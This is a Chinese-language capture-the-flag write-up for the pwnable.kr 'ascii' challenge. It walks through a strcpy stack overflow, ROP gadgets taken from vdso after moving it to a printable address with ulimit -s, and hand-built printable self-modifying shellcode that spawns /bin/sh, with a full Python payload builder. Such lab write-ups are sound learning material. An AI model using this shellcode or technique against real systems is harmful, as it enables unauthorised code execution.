Pwnable.kr ascii 题解
源码分析
很简单,没有太多花里胡哨,就是考编码知识。
int main()
{
int v6 = mmap(0x80000000, 4096, 7, 50, -1, 0);
// 中间代码: 用户输入到 v6 中,要求必须是 ascii 码可表示,长度为 400
return (int)vuln();
}
char *vuln()
{
char dest; // [esp+10h] [ebp-A8h]
return strcpy(&dest, (const char *)0x80000000);
}
解题步骤
这道题我构造结果是这样的: { shellcode | padding | fake ebp | jmp 0x80000000(shellcode) }. 很显然就是第一个和最后一个是值得写的,下面来进行讲解。
JMP 0x80000000(shellcode)
首先讲如何完成 jmp 0x80000000 这条指令,这种的方法是: 求助栈中内容,暂时没想到有什么更好的方法,有的话欢迎评论。
这道题观察发现溢出的时候栈里面是这样的: { old ebp | return addr | 10 * xxx | 0x80000000 },使用 ROP 来完成目标。但是程序地址一般是 0x08xxxxxx,很明显这个 0x08 不可打印,导致程序中的 ROP 也是不可打印的。
技巧是借助 vdso 中的 ROP,因为 vdso 的地址是可以用户控制的。对于 ulimit -s xxxx 命令,它的意思是让栈的空间最大可以为 xxx,但是栈空间变大,与此同时 vdso 的地址逐渐降低,所以可以控制 vdso 地址到一个可打印的地址块。
比如我本机中正常情况下某次 vsdo 是 0xf7f22000,如果执行 ulimit -s 2780000 后,就变成了 0x56424000。然后查看 ROP,用了下面的两个,正好偏移加上后都是可打印的,构造如下: { vdso + 0x549 | 3 * xx | vdso + 0x549 | 3 * xx | vdso + 0x54b | xx | 0x80000000(原来栈上就有的) }。
0x00000549 : pop ebp ; pop edx ; pop ecx ; ret
0x0000054b : pop ecx ; ret
Printable Shellcode
这一块就是如何写出可打印的 shellcode,感觉写完还是比较得意的,甚至觉得这个可以完全作为万能使用了。
首先最难完成的当然是 int 0x80 这条指令,主要用到了 sub [reg + num], al 这个可打印语句。分为两部分,首先我们要先使得一个寄存器指向 0x80000000,然后通过这个寄存器的偏移修改目标地址的内容,这样说很抽象,请看后面步骤。
第一步是让某个寄存器指向 0x80000000,这里选择的是 ebx,具体做法如下。
- 一开始先让栈里面存着 0x20303030,并且
al=0x30, ah=0x70 - 之后使用多个
push eax使得[esp+num]中的 num 是可打印值 - 然后就通过 sub 指令进行修改即可,其中 0x80 是通过 0x20-0x70-0x30 所得出的
- 最后使用多个
pop eax回到初始状态,此时栈里面存着的 0x20303030 已经变成了 0x80000000,然后pop ebx即可
push 0x70307030 pop eax push 0x20303030 push eax * 8 sub BYTE PTR [esp+35], ah sub BYTE PTR [esp+35], al sub BYTE PTR [esp+34], al sub BYTE PTR [esp+33], al sub BYTE PTR [esp+32], al pop eax * 8 pop ebx
第二步是利用 ebx 进行偏移改变,如下所示。
push 0x70
pop eax
sub BYTE PTR [ebx+0x58], al
sub BYTE PTR [ebx+0x58], al
sub BYTE PTR [ebx+0x57], al
- 首先要知道 0x80000000 + 0x57 存着我们事先放好的值
\x3d\x60,我们需要把它变成\xcd\x80(int 0x80) - 所以和刚才那样一样,利用 sub 指令,0x3d-0x70=0x6d,0x60-0x70-0x70=0x80
这个最难的解决了,剩下都比较简单了,直接附上我的代码片段。
sc = ''
# ebx = 0x80000000
sc += 'push 0x70307030\n'
sc += 'pop eax\n'
sc += 'push 0x20303030\n'
sc += 'push eax\n' * 8
sc += 'sub BYTE PTR [esp+35], ah\n'
sc += 'sub BYTE PTR [esp+35], al\n'
sc += 'sub BYTE PTR [esp+34], al\n'
sc += 'sub BYTE PTR [esp+33], al\n'
sc += 'sub BYTE PTR [esp+32], al\n'
sc += 'pop eax\n' * 8
sc += 'pop ebx\n'
# decode (\x3d\x60) to int 0x80(\xcd\x80)
sc += 'push 0x70\n'
sc += 'pop eax\n'
sc += 'sub BYTE PTR [ebx+0x58], al\n'
sc += 'sub BYTE PTR [ebx+0x58], al\n'
sc += 'sub BYTE PTR [ebx+0x57], al\n'
# eax = 0
sc += 'push 0x41\n'
sc += 'pop eax\n'
sc += 'sub al, 0x41\n'
# ebx = '/bin/sh'
sc += 'push eax\n'
sc += 'push 0x68732f2f\n'
sc += 'push 0x6e69622f\n'
sc += 'push esp\n'
sc += 'pop ebx\n'
# ecx = edx = 0
sc += 'push eax\n'
sc += 'push eax\n'
sc += 'pop ecx\n'
sc += 'pop edx\n'
# eax = 0xb
sc += 'push 0x2b\n'
sc += 'pop eax\n'
sc += 'sub al, 0x20\n'
# \x3d\x60 --> int 0x80
payload = asm(sc) + b'\x3d\x60'
payload = payload.ljust(0xA8+4, b'A')
# vdso ROP
payload = payload + p32(ret_addr_01) * 8
payload = payload + p32(ret_addr_02)
个人总结
- 如何使用 ascii 实现 JMP 0x80000000
- 如何写出 printable shellcode
- vdso 的初步学习,可以利用
ulimit -s命令改变它的地址,可以利用它的 ROP